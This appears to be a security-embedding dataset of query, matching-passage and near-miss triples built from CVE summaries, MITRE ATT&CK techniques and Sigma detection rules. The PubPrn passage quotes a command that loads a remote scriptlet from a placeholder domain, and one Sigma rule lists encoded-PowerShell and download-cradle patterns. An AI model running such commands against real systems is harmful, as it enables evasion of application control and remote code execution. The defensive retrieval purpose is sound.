alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: CVE similar to CVE-2015-9245
Matching passage: CVE-2015-9245. CWE: CWE-284. CVSS: 9.800000190734863. Insecure default configuration in Progress Software OpenEdge 10.2x and 11.x allows unauthenticated remote attackers to specify arbitrary URLs from which to load and execute malicious Java classes via port 20931.
Near-miss passage: CVE-2015-2959. CWE: CWE-284. CVSS: 7.5. Zoho NetFlow Analyzer build 10250 and earlier does not check for administrative authorization, which allows remote attackers to obtain sensitive information, modify passwords, or remove accounts by leveraging the guest role.
Query: CVE similar to CVE-2015-8063
Matching passage: CVE-2015-8063. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.268 and 19.x and 20.x before 20.0.0.228 on Windows and OS X and before 11.2.202.554 on Linux, Adobe AIR before 20.0.0.204, Adobe AIR SDK before 20.0.0.204, and Adobe AIR SDK & Compiler before 20.0.0.204 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-8048, CVE-2015-8049, CVE-2015-8050, CVE-2015-8055, CVE-2015-8056, CVE-2015-8057, CVE-2015-8058, CVE-2015-8059, CVE-2015-8061, CVE-2015-8062, CVE-2015-8064, CVE-2015-8065, CVE-2015-8066, CVE-2015-8067, CVE-2015-8068, CVE-2015-8069, CVE-2015-8070, CVE-2015-8071, CVE-2015-8401, CVE-2015-8402, CVE-2015-8403, CVE-2015-8404, CVE-2015-8405, CVE-2015-8406, CVE-2015-8410, CVE-2015-8411, CVE-2015-8412, CVE-2015-8413, CVE-2015-8414, CVE-2015-8420, CVE-2015-8421, CVE-2015-8422, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8426, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, CVE-2015-8431, CVE-2015-8432, CVE-2015-8433, CVE-2015-8434, CVE-2015-8435, CVE-2015-8436, CVE-2015-8437, CVE-2015-8441, CVE-2015-8442, CVE-2015-8447, CVE-2015-8448, CVE-2015-8449, CVE-2015-8450, CVE-2015-8452, and CVE-2015-8454.
Near-miss passage: CVE-2015-2591. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the PeopleSoft Enterprise Portal - Interaction Hub component in Oracle PeopleSoft Products 9.1.00 allows remote authenticated users to affect integrity via unknown vectors related to Enterprise Portal.
Query: what is T1091
Matching passage: T1091 Replication Through Removable Media. Tactics: lateral movement, initial access. Description: Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
Near-miss passage: T1051 Shared Webroot. Tactics: lateral movement. Description: **This technique has been deprecated and should no longer be used.** Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
Query: write Sigma for Identifies when a VPN connection is modified or deleted.
Matching passage: Sigma rule: Identifies when a VPN connection is modified or deleted.. Logsource: azure / activitylogs. Rule: title: Azure VPN Connection Modified or Deleted id: 61171ffc-d79c-4ae5-8e10-9323dba19cd3 status: test description: Identifies when a VPN connection is modified or deleted. references: - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations author: Austin Songer @austinsonger date: 2021-08-08 modified: 2022-08-23 tags: - attack.impact logsource: product: azure service: activitylogs detection: selection: operationName: - MICROSOFT.NETWORK/VPNGATEWAYS/VPNCONNECTIONS/WRITE - MICROSOFT.NETWORK/VPNGATEWAYS/VPNCONNECTIONS/DELETE condition: selection falsepositives: - VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Near-miss passage: Sigma rule: Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry. Logsource: windows / process_creation. Rule: title: Enable LM Hash Storage - ProcCreation id: 98dedfdd-8333-49d4-9f23-d7018cccae53 related: - id: c420410f-c2d8-4010-856b-dffe21866437 type: similar status: test description: 'Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases. ' references: - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a - https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password - https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/ author: Nasreddine Bencherchali (Nextron Systems) date: 2023-12-15 modified: 2023-12-22 tags: - attack.persistence - attack.defense-impairment - attack.t1112 logsource: product: windows category: process_creation detection: selection: CommandLine|contains|all: - \System\CurrentControlSet\Control\Lsa - NoLMHash - ' 0' condition: selection falsepositives: - Unknown level: high
Query: describe CVE-2015-5127
Matching passage: CVE-2015-5127. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
Near-miss passage: CVE-2015-8566. CWE: UNKNOWN. CVSS: 7.5. The Session package 1.x before 1.3.1 for Joomla! Framework allows remote attackers to execute arbitrary code via unspecified session values.
Query: vulnerability: Multiple cross-site request forgery (CSRF) vulnerabilities in (1) editcategories.html and (2) editcategories.php in the Glossary module in Moodle through 2.5.9, 2.6.x before 2.6.7,
Matching passage: CVE-2015-0213. CWE: CWE-352. CVSS: 6.800000190734863. Multiple cross-site request forgery (CSRF) vulnerabilities in (1) editcategories.html and (2) editcategories.php in the Glossary module in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allow remote attackers to hijack the authentication of unspecified victims.
Near-miss passage: CVE-2015-4391. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in the CiviCRM private report module 6.x-1.x before 6.x-1.2 and 7.x-1.x before 7.x-1.3 for Drupal allows remote attackers to hijack the authentication of users for requests that delete reports via unspecified vectors.
Query: detection rule: Detects the addition of a new user to a privileged group such as "root" or "sudo"
Matching passage: Sigma rule: Detects the addition of a new user to a privileged group such as "root" or "sudo". Logsource: linux. Rule: title: Privileged User Has Been Created id: 0ac15ec3-d24f-4246-aa2a-3077bb1cf90e status: test description: Detects the addition of a new user to a privileged group such as "root" or "sudo" references: - https://digital.nhs.uk/cyber-alerts/2018/cc-2825 - https://linux.die.net/man/8/useradd - https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid author: Pawel Mazur date: 2022-12-21 modified: 2025-01-21 tags: - attack.privilege-escalation - attack.persistence - attack.t1136.001 - attack.t1098 logsource: product: linux definition: /var/log/secure on REHL systems or /var/log/auth.log on debian like Systems needs to be collected in order for this detection to work detection: selection_new_user: - new user selection_uids_gids: - GID=0, - UID=0, - GID=10, - GID=27, condition: all of selection_* falsepositives: - Administrative activity level: high
Near-miss passage: Sigma rule: Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for e. Logsource: windows / process_creation. Rule: title: Potentially Suspicious Execution Of PDQDeployRunner id: 12b8e9f5-96b2-41e1-9a42-8c6779a5c184 related: - id: d679950c-abb7-43a6-80fb-2a480c4fc450 type: similar status: test description: Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines references: - https://twitter.com/malmoeb/status/1550483085472432128 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-07-22 modified: 2024-05-02 tags: - attack.execution logsource: category: process_creation product: windows detection: selection_parent: ParentImage|contains: \PDQDeployRunner- selection_child: - Image|endswith: - \bash.exe - \certutil.exe - \cmd.exe - \csc.exe - \cscript.exe - \dllhost.exe - \mshta.exe - \msiexec.exe - \regsvr32.exe - \rundll32.exe - \scriptrunner.exe - \wmic.exe - \wscript.exe - \wsl.exe - Image|contains: - :\ProgramData\ - :\Users\Public\ - :\Windows\TEMP\ - \AppData\Local\Temp - CommandLine|contains: - ' -decode ' - ' -enc ' - ' -encodedcommand ' - ' -w hidden' - DownloadString - FromBase64String - http - 'iex ' - Invoke- condition: all of selection_* falsepositives: - Legitimate use of the PDQDeploy tool to execute these commands level: medium
Query: stealth using System Script Proxy Execution
Matching passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Query: patch priority for CVE-2015-9002
Matching passage: CVE-2015-9002. CWE: CWE-189. CVSS: 7.800000190734863. In TrustZone an out-of-range pointer offset vulnerability can potentially occur in a DRM routine in all Android releases from CAF using the Linux kernel.
Near-miss passage: CVE-2015-6819. CWE: CWE-189. CVSS: 7.5. Multiple integer underflows in the ff_mjpeg_decode_frame function in libavcodec/mjpegdec.c in FFmpeg before 2.7.2 allow remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted MJPEG data.
Query: indicators of Transfer Data to Cloud Account
Matching passage: T1537 Transfer Data to Cloud Account. Tactics: exfiltration. Description: Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service. A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks) Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature) Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)
Near-miss passage: T1048.002 Exfiltration Over Asymmetric Encrypted Non-C2 Protocol. Tactics: exfiltration. Description: Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.
Query: vulnerability: QT Media Foundation in Apple QuickTime before 7.7.7, as used in OS X before 10.10.4 and other products, allows remote attackers to execute arbitrary code or cause a denial of servi
Matching passage: CVE-2015-3668. CWE: CWE-119. CVSS: 6.800000190734863. QT Media Foundation in Apple QuickTime before 7.7.7, as used in OS X before 10.10.4 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted file, a different vulnerability than CVE-2015-3661, CVE-2015-3662, CVE-2015-3663, CVE-2015-3666, and CVE-2015-3667.
Near-miss passage: CVE-2015-0530. CWE: CWE-119. CVSS: 7.199999809265137. Buffer overflow in an unspecified function in nsr_render_log in EMC NetWorker before 8.0.4.3, 8.1.x before 8.1.2.6, and 8.2.x before 8.2.1.2 allows local users to gain privileges via unknown vectors.
Query: CVE similar to CVE-2015-9369
Matching passage: CVE-2015-9369. CWE: CWE-79. CVSS: 6.099999904632568. Easy US Sales Taxes Add-on for iThemes Exchange before 1.1.0 for WordPress has XSS via add_query_arg() and remove_query_arg().
Near-miss passage: CVE-2015-4310. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in Cisco Finesse 10.5(1) allow remote attackers to inject arbitrary web script or HTML via unspecified parameters in a (1) GET or (2) POST request, aka Bug IDs CSCuq82322, CSCut95853, and CSCuq73975.
Query: Encoded PowerShell / command-line abuse matching Logon Script (Windows)
Matching passage: T1037.001 Logon Script (Windows). Tactics: persistence, privilege escalation. Description: Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts) Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
Near-miss passage: T1037.004 RC Scripts. Tactics: persistence, privilege escalation. Description: Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
Query: intelligence brief on T1059.007
Matching passage: T1059.007 JavaScript. Tactics: execution. Description: Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for a
Near-miss passage: T1059.012 Hypervisor CLI. Tactics: execution. Description: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more.(Citation: Broadcom ESXCLI Reference)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: LOLESXi) Adversaries may be able to leverage these tools in order to support further actions, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).
Query: risk of Cross-site scripting (XSS) vulnerability in the internationalization feature in the default homescreen app in Mozilla Firefox OS before 2.5 allows user-assisted remote attackers to
Matching passage: CVE-2015-8510. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in the internationalization feature in the default homescreen app in Mozilla Firefox OS before 2.5 allows user-assisted remote attackers to inject arbitrary web script or HTML via a crafted web site that is mishandled during "Add to home screen" bookmarking.
Near-miss passage: CVE-2015-4660. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Enhanced SQL Portal 5.0.7961 allows remote attackers to inject arbitrary web script or HTML via the id parameter to iframe.php.